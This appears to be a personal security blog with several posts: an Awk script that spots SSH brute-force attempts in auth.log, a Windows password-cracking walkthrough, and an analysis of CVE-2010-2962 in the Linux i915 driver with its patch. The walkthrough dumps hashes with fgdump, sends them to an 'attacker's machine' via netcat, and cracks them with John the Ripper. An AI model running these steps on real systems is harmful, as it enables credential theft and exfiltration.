Challenge 7 of the Forensic Challenge 2011

Challenge 7 "Forensic analysis of a compromised server" from the Honeynet Project has come to the end. I've got 20 from 23 possible points plus 2 bonus points - not bad at all! Here you can find my answers.

The power of Awk

Recently I've been busy with analyzing results of Challenge 5 of the Honeynet Forensic Challenge. The winner has written nice script for analyzing auth.log file. The script is written in Python and can be found here. I decided to implement such script in Awk. It turned out tha Awk is perfectly suited to this kind of work, here's the script:

cat auth.log | awk '

    $0 !~ /sshd/ {next};

    {ip=$11};

    /invalid/ {ip=$13};

    /Failed/ {

        Fails[ip] += 1;

        if(Fails[ip] == 1)

            StartTime[ip] = $1 " " $2 " " $3;

        EndTime[ip] = $1 " " $2 " " $3;

    };

    /Accepted/ {

        if(Fails[ip] > 0) {

            Accepts[ip] += 1;

            Details[ip] = sprintf("%s %s %s\n", Details[ip], $1 " " $2 " " $3, $9);

        }

    };

    END {

        for(key in Fails) {

            if((Fails[key] > 0) && (Accepts[key]/Fails[key] < 0.1 )) {

                print "Attacker IP: " key

                print "Start time: " StartTime[key]

                print "End time: " EndTime[key]

                print "Login attempts: " Fails[key]

                if(Accepts[key] > 0) {

                    print "Successfull attempts: " Accepts[key];

                    print Details[key];

                }

                printf "\n"

            }

        }

    }'

About 26 lines of code as opposed to 136 lines of Python version!

And here's one-liner (shorter but less verbose) version of the script:

 $ cat auth.log | awk '$0 !~ /sshd/ {next}; {ip=$11}; /invalid/ {ip=$13}; /Failed/ {Fails[ip] += 1 }; /Accepted/ {if(Fails[ip] > 0) Accepts[ip] += 1 }; END { for(key in Fails) {if((Fails[key] > 0) && (Accepts[key]/Fails[key] < 0.1 )) print key": "Fails[key] "\t Successes: " Accepts[key]} }'

Basics of Windows password recovery

In this post I outline basics steps for successful Windows password recovery.
Tools used: fgdump, john the ripper

On target machine as Administrator:

C:\> fgdump.exe -c        # dumps passwords from local windows box to 127.0.0.1.pwdump file

we use netcat to send dumped hashes to attacker's machine, attacker's machine:

$ nc -l -p 2222 > sam.txt

target machine:

C:\> nc <attackers_ip> 2222 < 127.0.0.1.pwdump

On attacker's machine:

$ ./john --session=recovery1 127.0.0.1.pwdump

We can stop guessing session with ^C and restore it with:

$ ./john --session=recovery1

Spacebar shows us speed of recovery. Recoverd passwords are in john.pot file, to save them in a file:

$ john --show 127.0.0.1.pwdump > 127.0.0.1.cracked.txt

It's basic use scenario of recovering passwords. There's more about john (modes of operation, distributing computation among several machines, optimizing key space). More on it in future.

Leviathan wargame from intruded.net

I've just finished Leviathan wargame. If you have hard time solving it, contact me I will help.

[VULNERABILITY] CVE-2010-2962 in i915 graphics driver in Linux kernel

Vulnerable code ( found at drivers/gpu/drm/i915/i915_gem.c):

/**

 * Reads data from the object referenced by handle.

 *

 * On error, the contents of *data are undefined.

 */

    int

i915_gem_pread_ioctl(struct drm_device *dev, void *data,

        struct drm_file *file_priv)

{

    struct drm_i915_gem_pread *args = data;

    struct drm_gem_object *obj;

    struct drm_i915_gem_object *obj_priv;

    int ret;

    obj = drm_gem_object_lookup(dev, file_priv, args->handle);

    if (obj == NULL)

        return -ENOENT;

    obj_priv = to_intel_bo(obj);

    /* Bounds check source.

     *

     * XXX: This could use review for overflow issues...

     */

    if (args->offset > obj->size || args->size > obj->size ||

            args->offset + args->size > obj->size) {

        drm_gem_object_unreference_unlocked(obj);

        return -EINVAL;

    }

    if (i915_gem_object_needs_bit17_swizzle(obj)) {

        ret = i915_gem_shmem_pread_slow(dev, obj, args, file_priv);

    } else {

        ret = i915_gem_shmem_pread_fast(dev, obj, args, file_priv);

        if (ret != 0)

            ret = i915_gem_shmem_pread_slow(dev, obj, args,

                    file_priv);

    }

    drm_gem_object_unreference_unlocked(obj);

    return ret;

}

There is no check that user controlled data ‘args->data_ptr’ and ‘args->size’ are within the user-space’s limit. Because of this, a user could make ‘args->data_ptr’ pointing to some kernel memory and consequently forcing the above copy operations writing data to some arbitrary kernel memory instead of a userspace buffer.

Following patch fixes this situation:

--- a/drivers/gpu/drm/i915/i915_gem.c

+++ b/drivers/gpu/drm/i915/i915_gem.c

@@ -477,8 +477,15 @@ i915_gem_pread_ioctl(struct drm_device *dev, void *data,

         */

        if (args->offset > obj->size || args->size > obj->size ||

            args->offset + args->size > obj->size) {

-               drm_gem_object_unreference_unlocked(obj);

-               return -EINVAL;

+               ret = -EINVAL;

+               goto err;

+       }

+

+       if (!access_ok(VERIFY_WRITE,

+                      (char __user *)(uintptr_t)args->data_ptr,

+                      args->size)) {

+               ret = -EFAULT;

+               goto err;

        }

        if (i915_gem_object_needs_bit17_swizzle(obj)) {

@@ -490,8 +497,8 @@ i915_gem_pread_ioctl(struct drm_device *dev, void *data,

                                                        file_priv);

        }

+err:

        drm_gem_object_unreference_unlocked(obj);

-

        return ret;

 }